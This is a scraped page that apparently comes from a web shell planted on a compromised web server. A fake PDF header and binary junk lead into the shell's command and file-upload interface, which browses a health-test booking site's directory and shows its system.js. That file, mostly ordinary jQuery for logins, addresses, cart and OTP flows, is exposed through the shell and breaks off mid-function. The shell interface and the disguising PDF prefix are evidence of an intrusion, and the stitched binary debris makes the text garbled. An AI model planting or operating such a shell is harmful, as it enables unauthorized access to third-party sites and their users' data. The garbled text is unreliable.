%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/assets/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/assets/js/system.js
/* 
 * There are functions who needs to load in every template.
 * Shopping cart managing is here and etc.
 */
$(".a").on('click',function() {
     var packid = $(this).attr('data-id');
	 if(typeof packid == "undefined") { packid = '';}
     $("#currentAsspack").val(packid);       
 });
 /*  FB */
function logInWithFacebook() {
	
    FB.login(function(response) {
        if (response.authResponse) {
            console.log(response);
            if (response.status === 'connected') {
                FB.api('/me', { fields: 'email,name,picture' }, function(response) {
									alert(response);
                });
            }
        } else {
            alert('User cancelled login or did not fully authorize.');
        }
    }, { 'scope': 'email' });
    return false;
};

  window.fbAsyncInit = function() {
    FB.init({
      appId      : '2044889009106415',
      cookie     : true,
      xfbml      : true,
      version    : 'v2.2'
    });
      
    FB.AppEvents.logPageView();   
      
  };

  
  
  (function(d, s, id){
     var js, fjs = d.getElementsByTagName(s)[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement(s); js.id = id;
     js.src = "http://connect.facebook.net/en_US/sdk.js";
     fjs.parentNode.insertBefore(js, fjs);
   }(document, 'script', 'facebook-jssdk'));

// Google User Login
function onSignIn(googleUser) {

    var profile = googleUser.getBasicProfile();
    console.log("ID: " + profile.getId()); // Don't send this directly to your server!
    console.log('Full Name: ' + profile.getName());
    console.log('Given Name: ' + profile.getGivenName());
    console.log('Family Name: ' + profile.getFamilyName());
    console.log("Image URL: " + profile.getImageUrl());
    console.log("Email: " + profile.getEmail());
 
    var id_token = googleUser.getAuthResponse().id_token;
}

 /* Add New Address */
 $(".profEdit").click(function () {
	$("#address").removeClass("active");
	$("#report").removeClass("active");
	$("#bookings").removeClass("active");
	$("#dashboard").addClass("active");
	$("#myaddress").removeClass("active");
	$("#myreport").removeClass("active");
	$("#mybookings").removeClass("active");
	$("#mydashboard").addClass("active");
	$("#dashboard").addClass('editable');
	return false
 });
 
 /* Apply For Cources */
$("#MeetTheDoctors").on("click",".modalButtonmeetTheDoctors", function(e) {
	$.ajax({
	  url : $('body').attr('data-base-url') + 'doctorsProfile/get_modal',
	  method: 'post', 
	  data : {
		id: $(this).attr('data-src')
	  }
	}).done(function(data) {
	  $('#the_dr_profile').find('.modal-body').html(data);
	  $('#the_dr_profile').modal('show'); 
	})
});

 /*
 * Upload profile Image
 */
 function uploadProfileImage() {

	data = new FormData();
	data.append('file', $('#file')[0].files[0]);

	var imgname  =  $('input[type=file]').val();
	var size  =  $('#file')[0].files[0].size;
	$("#profile_image_error_msg").remove();
	var ext =  imgname.substr( (imgname.lastIndexOf('.') +1) );
    if(ext=='jpg' || ext=='jpeg' || ext=='png' || ext=='gif' || ext=='PNG' || ext=='JPG' || ext=='JPEG')
    {
     if(size<=2000000) {
		$.ajax({
		  url: $('body').attr('data-base-url') + 'users/editProfilePhoto',
		  type: "POST",
		  data: data,
		  enctype: 'multipart/form-data',
		  processData: false,  // tell jQuery not to process the data
		  contentType: false   // tell jQuery not to set contentType
		}).done(function(data) {
			if(data=='FILE_SIZE_ERROR'){ 
			
				$("<span style='color:red;' id='profile_image_error_msg'>Sorry File size exceeding from 2 Mb</span>" ).insertAfter("#myProfileImage");
				setTimeout(function() { $('#profile_image_error_msg').slideUp("slow"); }, 6000);
				return false;
					
			}else if( data=='FILE_TYPE_ERROR') {
				
				$("<span style='color:red;' id='profile_image_error_msg'>Sorry Only you can uplaod JPEG|JPG|PNG|GIF file type</span>" ).insertAfter("#myProfileImage");
				setTimeout(function() { $('#profile_image_error_msg').slideUp("slow"); }, 6000);
				return false;
				
			} else{
				var profileImage = $('body').attr('data-base-url')+"/attachments/profile_image/"+data;
				var img = '<img src="'+profileImage+'" class="img-circle"/>';
				$("#myProfileImage").html();
				$('#myProfileImage').html(img);
				return false;
			}
			
		 });
		
		} else { alert('Sorry File size exceeding from 2 Mb'); return false;  }
	} else { alert('Sorry Only you can uplaod JPEG|JPG|PNG|GIF file type'); }
	
    return false;
}

 /*
 *  Edit My Address
 */
 
 function editMyAddress(address_key){
	 
	var base_url = $('body').attr('data-base-url');
	var full_name = $("#address_full_name"+address_key).val(); 
	var house_no = $("#house_no"+address_key).val(); 
	var address = $("#full_address"+address_key).val(); 
	var city = $("#city"+address_key).val(); 
	var state = $("#state"+address_key).val(); 
	var pincode = $("#pincode"+address_key).val(); 
	$("#error_msg").remove();
	$.ajax({
		
			type: "POST",
			url : $('body').attr('data-base-url') + 'users/editUserAddress',
			data: { address_key:address_key, full_name:full_name, house_no : house_no, address : address, city : city, state : state, 	pincode: pincode }, 
			success: function(data){
				if(data>0){
					$(location).attr('href', base_url+'dashboard/address');
					return false;
				} else  {
					 $("<span style='color:red;' id='error_msg'>Invalid Request</span>" ).insertAfter("#save_new_address");
					setTimeout(function() { $('#error_msg').slideUp("slow"); }, 4000);
					return false;
					
				} 
			
		  }
		 
		});
	
	return false; 
	 
 }
 /*  Edit My Info*/
 
 function editMyInfo(div_id,current_id){
	 $("#"+div_id).show();
	 $("#hide_"+current_id).show();
	 $("#show_"+current_id).hide();
	 return false;
 }
 
 
 /*  Edit My Info*/
 
 function hideMyInfo(div_id, current_id){
	 $("#"+div_id).hide();
	 $("#show_"+current_id).show();
	 $("#hide_"+current_id).hide();
	 return false;
 }
 /*
 * 
 */
 
 function saveNewAddress(){
	 
	var base_url = $('body').attr('data-base-url');
	var full_name = $("#address_full_name").val(); 
	var house_no = $("#house_no").val(); 
	var address = $("#full_address").val(); 
	var city = $("#city").val(); 
	var state = $("#state").val(); 
	var pincode = $("#pincode").val(); 
	$("#error_msg").remove();
	$.ajax({
		
			type: "POST",
			url : $('body').attr('data-base-url') + 'users/addNewUserAddress',
			data: { full_name:full_name, house_no : house_no, address : address, city : city, state : state, 	pincode: pincode }, 
			success: function(data){
				if(data>0){
					$(location).attr('href', base_url+'dashboard/address');
					return false;
				} else  {
					 $("<span style='color:red;' id='error_msg'>Invalid Request</span>" ).insertAfter("#save_new_address");
					setTimeout(function() { $('#error_msg').slideUp("slow"); }, 4000);
					return false;
					
				} 
			
		  }
		 
		});
	
	return false;
	
 }
 
/* Add New Address */
 $("#addNewAdd").click(function () {
	$("#profNewAdd").show();
	return false
 });

 /*
 * Edit User Profile
 */
 function editUserProfile(){
	 
	var base_url = $('body').attr('data-base-url');
	var bloodgroup = $("#bloodgroup").val(); 
	var full_name = $("#full_name").val(); 
	var email = $("#email").val(); 
	var age = $("#age").val(); 
	var gender = $('input[name=gender]:checked').val();
	var company_name = $("#company_name").val(); 
	var health_inc_company = $("#health_inc_company").val(); 
	var weight = $("#weight").val(); 
	var height_feet = $("#height_feet").val(); 
	var height_inches = $("#height_inches").val(); 
	var waist = $("#waist").val(); 
	$( "#error_msg" ).remove();
	
	$.ajax({
		
			type: "POST",
			url : $('body').attr('data-base-url') + 'users/updateUserInfo',
			data: { full_name:full_name, email:email, bloodgroup : bloodgroup, age : age, company_name : company_name, health_inc_company : health_inc_company, 	weight: weight, height_feet:height_feet, height_inches:height_inches, waist:waist, gender:gender }, 
			success: function(data){
				if(data>0){
					$(location).attr('href', base_url+'dashboard');
					return false;
				} else  {
					 $("<span style='color:red;' id='error_msg'>Invalid Request</span>" ).insertAfter("#submit_div");
					setTimeout(function() { $('#error_msg').slideUp("slow"); }, 4000);
					return false;
					
				} 
			
		  }
		 
		});
	
	return false;
 }
 
 
 /*
 */
 function processPayment(){
	 
	 var terms = $('input[name=terms]:checked').val();
	 var payment_type = $('input[name=payment_type]:checked').val();
	 var error_flag = 'N';
	 $( "#payment_type_msg" ).remove();
	 $( "#terms_msg" ).remove();
	 if(typeof payment_type == "undefined") { payment_type = '';}
	 if(payment_type==''){
		 $("<p style='color:red;' id='payment_type_msg'>Please select payment method.</p>" ).insertAfter("#payment_div");
		 error_flag = 'Y';
	 }
	  if(terms==''){
		 $("<span style='color:red;' id='terms_msg'>Please checked our terms & condition.</span>" ).insertAfter("#terms");
		 error_flag = 'Y';
	 }
	 
	 if(error_flag=='Y') {
		return false;
	 }
  }
 /*  Add Shipping Address */
 
 function addShippingAddress(){
	 
	var base_url = $('body').attr('data-base-url');
	var locality = $("#locality").val();
	var house_no = $("#house_no").val();
	var landmark = $("#landmark").val();
	var collection_date = $("#collection_date").val();
	var collection_time = $("#collection_time").val();
	var package_id = $("#package_id").val();
	var member_id = $("#member_id").val();
	
	// Remove error message 
	$( "#locality_msg" ).remove();
	$( "#house_no_msg" ).remove();
	$( "#landmark_msg" ).remove();
	$( "#collection_date_msg" ).remove();
	$( "#collection_time_msg" ).remove();
	
	var error_flag = 'N';
	if(locality==''){
		$("<span style='color:red;' id='locality_msg'>Please enter your locality.</span>" ).insertAfter("#locality");
		error_flag = 'Y';
	} 
	if(house_no==''){
		$("<span style='color:red;' id='house_no_msg'>Please enter house no.</span>" ).insertAfter("#house_no");
		error_flag = 'Y';
	} 
	if(landmark==''){
		$("<span style='color:red;' id='landmark_msg'>Please enter landmark.</span>" ).insertAfter("#landmark");
		error_flag = 'Y';
	}
	if(collection_date==''){
		$("<span style='color:red;' id='collection_date_msg'>Please select collection date.</span>" ).insertAfter("#collection_date");
		error_flag = 'Y';
	} 
	
	if(collection_time==''){
		$("<span style='color:red;' id='collection_time_msg'>Please enter collection time.</span>" ).insertAfter("#collection_time");
		error_flag = 'Y';
	} 
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url : $('body').attr('data-base-url') + 'Picklocation/addNewAddress',
			data: { locality : locality, house_no : house_no, landmark : landmark, booking_date : collection_date, 	booking_time: collection_time, package_id : package_id, member_id : member_id }, 
			success: function(data){
			
				if(data>0) {
					$("#msg_display").html("<p style='color:green;' id='mobile_number_msg'>Pick Location & Time Added Successfully.</p>" );
					setTimeout(function() { $('#msg_display').slideUp("slow"); }, 10000);
					$(location).attr('href', base_url+'checkout');
					return false;
				} else {
					$("#msg_display").html("<p style='color:red;' id='mobile_number_msg'>We have already received your enquiry for above course.</p>" );
					setTimeout(function() { $('#msg_display').slideUp("slow"); }, 4000);
					return false;
				}
			
		  }
		 
		}); 
		
	}
	return false;
 }
 
 
 /*  Vlidate shopping cart */
 $("#proceedToCheckout").click(function () {
	 
	$("<span style='color:red;' id='proceedToCheckout_msg'>Please select tests. Then click the proceed to checkout.</span>" ).insertAfter("#proceedToCheckout"); 
	setTimeout(function() { $('#proceedToCheckout_msg').slideUp("slow"); }, 5000);
	
 });
 
  /*  Vlidate shopping cart */
 $("#needHardCopy").click(function () {
	 
	var offer_prise = $("#my_offer_prise").val();
	var my_total_prise = $("#my_total_prise").val();
	var needHardCopy_amount = $("#needHardCopy_amount").val();
	var hardCopy = $('input[name=hardCopy]:checked').val();
	var final_prise = parseInt(needHardCopy_amount)+parseInt(my_total_prise);
	$( "#new_prise" ).remove();
	$( "#new_prise2" ).remove();
	if(hardCopy=='1'){
		$("#offer_price").hide();
		$('<li id="new_prise"><i class="fa fa-inr"></i> '+final_prise+'</li>' ).insertAfter("#offer_price"); 
		$("#heard_copy_required").val(hardCopy);
	} else {
		$("#offer_price").show();
		$("#new_prise").remove();
	}
	
 });
 /* Apply Cupon Code */
 
 $("#applyCouponCode").click(function () {
		var base_url = $("#base_url").val();
		var coupon_code = $("#coupon_code").val();
		var my_total_prise = $("#my_total_prise").val();
		var needHardCopy_amount = $("#needHardCopy_amount").val();
	    var hardCopy = $('input[name=hardCopy]:checked').val();
		$("#coupon_code").removeClass('has-error');
		$( "#coupon_code_msg" ).remove();
		$( "#new_prise2" ).remove();
		
		if(coupon_code==''){
			$("#coupon_code").addClass('has-error');
			return false;
		} else {
			
		$.ajax({
				
				  type: "POST",
				  url: base_url+"Checkout/applyCuponCode",
				  data: { coupon_code : coupon_code, my_total_prise :  my_total_prise, needHardCopy : needHardCopy_amount, hardCopy : hardCopy}, // pass it as POST parameter
				  success: function(data){
				
					if(data>0){
						$("#offer_price").hide();
						$("#new_prise").hide();
						$('<li id="new_prise2"><i class="fa fa-inr"></i> '+data+'</li>' ).insertAfter("#offer_price"); 
						$("#my_offer_prise").val(data);
						$("<P style='color:green;text-align:right;' id='coupon_code_msg'>Coupon Code "+coupon_code+" Applied Successfully.</P>" ).insertAfter(".couponCod");
						return false;
					} else {
						$("#coupon_code").addClass('has-error');
						$("<P style='color:red;text-align:right;' id='coupon_code_msg'>Invalid Coupon Code.Please Enter Valid Coupon Code.</P>" ).insertAfter(".couponCod");
						return false;
					}						
				 }
		});
	  }
	});
	
 
 /* Call Instantly */
 
	$("#healthAdvBookNow").click(function () {
		var base_url = $("#base_url").val();
		var advisor_mobile = '';
		$.ajax({
				
				  type: "POST",
				  url: base_url+"home/callHealthAdvisorInstantly",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
				
					if(data>0){
						
						$(".formForMobNo").show();
						$("#advisor_form").hide();
						$("#booked_advisor").show();
						setTimeout(function() { $('.formForMobNo').slideUp("slow"); }, 5000);
						return false;
					} 
				 }
		});
		
	});
		
 /* Apply Filter*/
 
 function getRiskResults(){
	jQuery('#filter_form').submit();
 }
 /* Apply for course */
 
 $("#apply_for_course").click(function () {
	 
	var base_url = $('body').attr('data-base-url');
	var full_name = $("#full_name").val();
	var email_id = $("#email_id").val();
	var remarks = $("#remarks").val();
	var mobile_number = $("#mobile_number").val();
	var course_id = $("#course_id").val();
	
	// Remove error message 
	$( "#full_name_msg" ).remove();
	$( "#email_id_msg" ).remove();
	$( "#mobile_number_msg" ).remove();
	$( "#remarks_msg" ).remove();
	
	var error_flag = 'N';
	if(full_name==''){
		$("<span style='color:red;' id='full_name_msg'>Please enter full name.</span>" ).insertAfter("#full_name");
		error_flag = 'Y';
	} 
	
	if(email_id==''){
		$("<span style='color:red;' id='email_id_msg'>Please enter valid email id.</span>" ).insertAfter("#email_id");
		error_flag = 'Y';
	} 
	
	if(mobile_number==''){
		$("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
		error_flag = 'Y';
	} else if(!mobile_number.match('[0-9]{10}'))  {
               $("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
				error_flag = 'Y';
    }
	
	if(remarks==''){
		$("<span style='color:red;' id='remarks_msg'>Please enter your comments.</span>" ).insertAfter("#remarks");
		error_flag = 'Y';
	} 
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url : $('body').attr('data-base-url') + 'CourcesOffered/applyForCourse',
			data: { full_name : full_name, remarks : remarks, mobile_number : mobile_number, email_id : email_id,course_id: course_id }, 
			success: function(data){
			
			if(data=='ERROR') {
				$("#msg_display").html("<span style='color:red;' id='mobile_number_msg'>We have already received your enquiry for above course.</span>" );
				return false;
			} else {
				$("#msg_display").html("<span style='color:green;' id='mobile_number_msg'>Thanks for applying. We will get back to you. </span>" );
				setTimeout(function() { $('#course_mba').slideUp("slow"); }, 9000);
				$(location).attr('href', base_url+'CourcesOffered');
				return false;
			}
		  }
		 
		}); 
		
	}
	return false;
 } );
 
	
/* Apply For Cources */
$(".aboutRightBox").on("click",".modalButtonCourseOff", function(e) {
	
	$.ajax({
	  url : $('body').attr('data-base-url') + 'CourcesOffered/get_modal',
	  method: 'post', 
	  data : {
		id: $(this).attr('data-src')
	  }
	}).done(function(data) {
	  $('#course_mba').find('.modal-body').html(data);
	  $('#course_mba').modal('show'); 
	})
});
  
 
 /*  Edit User Info */
 function editUserInfo(member_id) {
	 $("#edit_member_info_"+member_id).show();
	return false;
 }
 
 /*  Close User Info */
 function closeEditmemberDtl(member_id) {
	 $("#edit_member_info_"+member_id).hide();
	return false;
 }
 
 
 /*  Edit User Info */
 function editMemberInfo(member_id) {
	 
	var base_url = $("#base_url").val();
	var full_name = $("#full_name_"+member_id).val();
	var age = $("#age_"+member_id).val();
	var dob = $("#dob_"+member_id).val();
	var mobile_number = $("#mobile_number_"+member_id).val();
	var gender =  $('input[name=gender_'+member_id+']:checked').val();
	var relation =  $('input[name=relation_'+member_id+']:checked').val();
	
	// Remove error message 
	$( "#full_name_msg" ).remove();
	$( "#mobile_number_msg" ).remove();
	$( "#gender_msg" ).remove();
	$( "#relation_msg" ).remove();
	$( "#dob_msg" ).remove();
	$( "#age_msg" ).remove();
	
	var error_flag = 'N';
	if(full_name==''){
		$("<span style='color:red;' id='full_name_msg'>Please enter full name.</span>" ).insertAfter("#full_name_"+member_id);
		error_flag = 'Y';
	} 
	
	if(mobile_number==''){
		$("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number_"+member_id);
		error_flag = 'Y';
	} else if(!mobile_number.match('[0-9]{10}'))  {
               $("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number_"+member_id);
				error_flag = 'Y';
    }
	
	if(gender==''){
		$("<span style='color:red;' id='gender_msg'>Please select gender.</span>" ).insertAfter("#gender_"+member_id);
		error_flag = 'Y';
	} if(relation==''){
		$("<span style='color:red;' id='relation_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#relation_"+member_id);
		error_flag = 'Y';
	} if(dob==''){
		$("<span style='color:red;' id='dob_msg'>Please select date of birth.</span>" ).insertAfter("#dob_"+member_id);
		error_flag = 'Y';
	} if(age==''){
		$("<span style='color:red;' id='age_msg'>Please enter age.</span>" ).insertAfter("#age_"+member_id);
		error_flag = 'Y';
	}
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url: base_url+"users/addFamilyMember",
			data: { full_name : full_name, age : age, relation : relation, gender : gender, mobile_number : mobile_number, dob : dob,member_id: member_id }, 
			success: function(data){
			
			if(data=='101') {
				$("<span style='color:red;' id='mobile_number_msg'>This mobile number already exist.</span>" ).insertAfter("#mobile_number");
				return false;
			} else {
				setTimeout(function() { $('#'+data).slideUp("slow"); }, 2000);
				$(location).attr('href', base_url+'mycart'); 
				return false;
			}
		  }
		 
		}); 
		
	} 
	return false;
	
 }
 /*
 * Add More Packages
 */
 
 function addMorePackages(member_id){
	 
	var form_name = 'memberform_'+member_id;
	jQuery('#'+form_name).submit();
	
 }
 /*
 * Add New Family Members
 */
 
 $("#addNewFamilyMembers").click(function () {
	var base_url = $("#base_url").val();
	var full_name = $("#full_name").val();
	var age = $("#age").val();
	var dob = $("#dob").val();
	var mobile_number = $("#mobile_number").val();
	var gender =  $('input[name=gender]:checked').val();
	var relation =  $('input[name=relation]:checked').val();
	
	// Remove error message 
	$( "#full_name_msg" ).remove();
	$( "#mobile_number_msg" ).remove();
	$( "#gender_msg" ).remove();
	$( "#relation_msg" ).remove();
	$( "#dob_msg" ).remove();
	$( "#age_msg" ).remove();
	
	var error_flag = 'N';
	if(full_name==''){
		$("<span style='color:red;' id='full_name_msg'>Please enter full name.</span>" ).insertAfter("#full_name");
		error_flag = 'Y';
	} 
	
	if(mobile_number==''){
		$("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
		error_flag = 'Y';
	} else if(!mobile_number.match('[0-9]{10}'))  {
               $("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
				error_flag = 'Y';
    }
	
	if(gender==''){
		$("<span style='color:red;' id='gender_msg'>Please select gender.</span>" ).insertAfter("#gender");
		error_flag = 'Y';
	} if(relation==''){
		$("<span style='color:red;' id='relation_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#relation");
		error_flag = 'Y';
	} if(dob==''){
		$("<span style='color:red;' id='dob_msg'>Please select date of birth.</span>" ).insertAfter("#dob");
		error_flag = 'Y';
	} if(age==''){
		$("<span style='color:red;' id='age_msg'>Please enter age.</span>" ).insertAfter("#age");
		error_flag = 'Y';
	}
	
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url: base_url+"users/addFamilyMember",
			data: { full_name : full_name, age : age, relation : relation, gender : gender, mobile_number : mobile_number, dob : dob }, 
			success: function(data){
			if(data=='101') {
				$("<span style='color:red;' id='mobile_number_msg'>This mobile number already exist.</span>" ).insertAfter("#mobile_number");
				return false;
			} else {
				setTimeout(function() { $('#'+data).slideUp("slow"); }, 2000);
				$(location).attr('href', base_url+'mycart'); 
				return false;
			}
		  }
		 
		}); 
		
	}
	 return false;
 });
 
 /*
 *  Show Add new members Info Page
 */
 $("#addnewfmember").click(function () {
	 $("#addNewMemberDetais").show();
	 $("#addnewfmember").hide();
 });
 
  /*
 * Add New Family Members
 */
 $("#closememberDtl").click(function () {
	 $("#addNewMemberDetais").hide();
	 $("#addnewfmember").show();
 });
 
 
 /*
 * Remove Items from Cart
 */
 
 function removeCartItems(cart_id, member_id) {
	var base_url = $("#base_url").val();
	$.ajax({
		
		  type: "POST",
		  url: base_url+"mycart/removeItems",
		  data: { cart_id : cart_id, member_id : member_id }, // pass it as POST parameter
		  success: function(data){
			if(data=='101') {
				$("#error_msg").html('<p style="color:red;">Invalid request</p>');
				return false;
			} else {
				setTimeout(function() { $('#'+data).slideUp("slow"); }, 1000);
				$(location).attr('href', base_url+'mycart'); 
				return false;
			}
		 }
		 
	}); 
	
 }
 /* Add To Cart */
 
 function addToCart(product_id, member_info){
	var base_url = $("#base_url").val(); 
	$.ajax({
		
		  type: "POST",
		  url: base_url+"mycart/addtocart",
		  data: { product_id : product_id, member_info : member_info }, // pass it as POST parameter
		  success: function(data){
			 if(data>0){
				$(location).attr('href', base_url+'mycart'); 
			 }  else {
				 $("#"+data).html('<p style="color:red;">Alreay Added</p>');
			 }
			return false;
		 }
		 
	}); 
 }
 
/* Login / Signup */

$("#loginsignup").click(function () {
	
	var base_url = $("#base_url").val();
	var login_phone = $("#login_phone").val();
	$("#login_phone").removeClass('has-error');
	if(login_phone==''){
	   $("#login_phone").addClass('has-error');
	   return false;
    } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(login_phone) && jQuery.trim(login_phone).length >= 10) {
			$("#login_phone").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/loginsignup",
				  data: { mobile : login_phone }, // pass it as POST parameter
				  success: function(data){
					if(data>0){
						$("#your_number").html(login_phone);
						$("#step1_login").hide();
						$(".loginWith").hide();
						$("#step2_login").show();
						$("#callbackopt_success").show();
						$("#userotp").removeClass('has-error');
						$("#callbackopt_success").html('<p ng-bind="callbackopt_success_message">OTP has been sent to your above mobile number.</p>');
						setTimeout(function() { $('#callbackopt_success').slideUp("slow"); }, 5000);
						return false;
					} else { 
						$("#login_phone").addClass('has-error');
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#login_phone").addClass('has-error');
			return false;
		}
   }
	
});

/* Resend OTP for login/signup */
$('#resend_loginsignup_opt').click(function () {
	
   var base_url = $("#base_url").val();
   var login_phone = $("#login_phone").val();
   $("#login_phone").removeClass('has-error');
   if(login_phone==''){
	   $("#login_phone").addClass('has-login_phone');
	   return false;
   } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(login_phone) && jQuery.trim(login_phone).length >= 10) {
			$("#login_phone").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/loginsignup",
				  data: { mobile : login_phone }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#callbackopt_success").show();
						$("#callbackopt_success").html('<p ng-bind="callbackopt_success_message">OTP re-send Successfully.</p>');
						setTimeout(function() { $('#callbackopt_success').slideUp("slow"); }, 5000);
						
						return false;
					} else { 
						$("#callbackopt_error").show();
						$("#callbackopt_error").html('<p ng-bind="callbackopt_message"></p>');
						setTimeout(function() { $('#callbackopt_error').slideUp("slow"); }, 5000);
						return false;
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#login_phone").addClass('has-error');
			return false;
		}
   }
   
});

/* Validate OTP and redirect the dashbaord page */

$("#loginsteps").click(function () {
		var base_url = $("#base_url").val();
		var login_phone = $("#login_phone").val();
		var mobile_otp = $("#userotp").val();
		var currentAsspack = $("#currentAsspack").val();
		if(typeof currentAsspack == 'undefined') { currentAsspack = ''; }
		
		$("#userotp").removeClass('has-error');
		$("#resend_error_msg").hide();
		
		if(mobile_otp==''){
			$("#userotp").addClass('has-error');
			return false;
			
		} else {
			
			$("#userotp").removeClass('has-error');
			
			if (mobile_otp.match('[0-9]{4}') && jQuery.trim(mobile_otp).length ==4) {
			
				$.ajax({
					
					  type: "POST",
					  url: base_url+"users/login",
					  data: { mobile : login_phone, otp : mobile_otp }, // pass it as POST parameter
					  success: function(data){
						var response = data.split('-');
						if(response[0]>0){
							
							if(currentAsspack!=''){ 
								addToCart(currentAsspack,response[1]);
							} else {
								$(location).attr('href', base_url+'dashboard');
							}
							return false;
							
						} else { 
							$("#userotp").addClass('has-error');
							$("#callbackopt_error").show();
							$("#callbackopt_error").html('<p ng-bind="callbackopt_message">Invalid OTP</p>');
							setTimeout(function() { $('#callbackopt_error').slideUp("slow"); }, 5000);
							return false;
						}
					 }
					 
				});
				
				return false;
				
			} else {
				$("#userotp").addClass('has-error');
				$("#callbackopt_error").show();
				$("#callbackopt_error").html('<p ng-bind="callbackopt_message">Invalid OTP</p>');
				setTimeout(function() { $('#callbackopt_error').slideUp("slow"); }, 5000);
				return false;
				
			}
		}
});

/* advisor form */
$("#advisor_continue").click(function () {
		var base_url = $("#base_url").val();
		var advisor_mobile = $("#advisor_mobile").val();
		var mobile_otp = $("#mobile_otp").val();
		
		$("#mobile_otp").removeClass('has-error');
		$("#resend_error_msg").hide();
		
		if(mobile_otp==''){
			$("#mobile_otp").addClass('has-error');
			return false;
			
		} else {
			
			$("#mobile_otp").removeClass('has-error');
			
			if (mobile_otp.match('[0-9]{4}') && jQuery.trim(mobile_otp).length ==4) {
			
				$.ajax({
					
					  type: "POST",
					  url: base_url+"home/advisor",
					  data: { mobile : advisor_mobile, otp : mobile_otp }, // pass it as POST parameter
					  success: function(data){
						
						if(data>0){
							
							$("#otp_screen").hide();
							$("#booked_advisor").show();
							setTimeout(function() { $('.formForMobNo').slideUp("slow"); }, 10000);
							return false;
							
						} else { 
							$("#resend_error_msg").show();
							$("#mobile_otp").addClass('has-error');
							$("#resend_error_msg").html('Invalid OTP');
							setTimeout(function() { $('#resend_error_msg').slideUp("slow"); }, 5000);
						}
					 }
					 
				});
				
				return false;
				
			} else {
				$("#resend_error_msg").show();
				$("#mobile_otp").addClass('has-error');
				$("#resend_error_msg").html('Invalid OTP');
				setTimeout(function() { $('#resend_error_msg').slideUp("slow"); }, 5000);
				return false;
				
			}
		}
});

$('#advisor_submit').click(function () {
	
	var base_url = $("#base_url").val();
	var advisor_mobile = $("#advisor_mobile").val();
	$("#advisor_mobile").removeClass('has-error');
	if(advisor_mobile==''){
	   $("#advisor_mobile").addClass('has-error');
	   return false;
    } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			$("#advisor_mobile").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/advisor",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#show_mobile_number").html(advisor_mobile);
						$("#advisor_form").hide();
						$("#otp_screen").show();
						return false;
					} else { 
						$("#advisor_mobile").addClass('has-error');
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#advisor_mobile").addClass('has-error');
			return false;
		}
   }
   
});

/* Get Call  */
$('#getacall').click(function () {
	
	var base_url = $("#base_url").val();
	var advisor_mobile = $("#getacall_phone").val();
	var advisor_name = $("#getcall_name").val();

	$("#getacall_phone").removeClass('has-error');
	$("#getcall_name").removeClass('has-error');

    if(advisor_mobile=='' && advisor_name==''){
		
		$("#getacall_phone").addClass('has-error');
		$("#getcall_name").addClass('has-error');
		return false;
		
    } else if(advisor_mobile==''){
		
		$("#getacall_phone").addClass('has-error');
		return false;
		
   } else if(advisor_name==''){ 
   
		$("#getcall_name").addClass('has-error');
		return false;
		
   } else {
	   
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			
			$("#advisor_mobile").removeClass('has-error');
		
